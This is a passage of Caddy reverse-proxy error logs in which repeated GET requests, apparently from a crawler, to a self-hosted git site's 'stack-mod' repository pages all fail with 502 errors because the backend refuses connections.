0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000182872,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;89gyde5bz\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2741818,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.215.201\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12618\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.215.201\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/commits/commit/25a72940b8184b41de36fec9a3fcdd6387e006b0/layouts/partials/sidebar/left.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000194264,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;mzpuq5vau\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2894285,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.195.97\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;5843\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.195.97\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/commits/commit/2fd3bde9a40790bf98893b0c5062a2f4c0ac9d8f/layouts/partials/article-list/tile.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.00023476,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;v3azrf597\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2902029,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.193.3\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;51386\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.193.3\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/blame/commit/d04b3a8771386c9988be00adda53f0bf542cf269/layouts/partials/helper/image.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000307345,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;6gv9knvpm\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2950988,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.193.80\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;24245\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.193.80\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/commits/commit/c6661196ad92dfa72513582c40f75a6a5f514851/layouts/partials?page=1\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000194966,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;ju8k688tg\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3023942,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.205.248\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;12381\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.205.248\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/rss/commit/0af9d23e4989ed7ada10e6990802ccd9a28d8797/layouts/partials/sidebar/right.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000187251,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;4m19ms28b\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3110833,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.212.84\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;57044\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.212.84\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/commits/commit/2fd3bde9a40790bf98893b0c5062a2f4c0ac9d8f/layouts/partials/article-list/compact.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000179277,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;hk01fb751\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.31186,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.205.70\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;51797\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.205.70\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/d04b3a8771386c9988be00adda53f0bf542cf269/layouts/partials/helper/icon.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.00037888,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;7dz5tnw6r\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3274698,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.200.118\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;13643\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.200.118\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/rss/commit/0af9d23e4989ed7ada10e6990802ccd9a28d8797/layouts/partials/data/description.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000217268,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;ht5drxez1\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3605616,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.215.215\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;44762\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.215.215\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/25581cc44637909a75aacdf33f896192f0569689/layouts/partials/head/opengraph/provider\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google 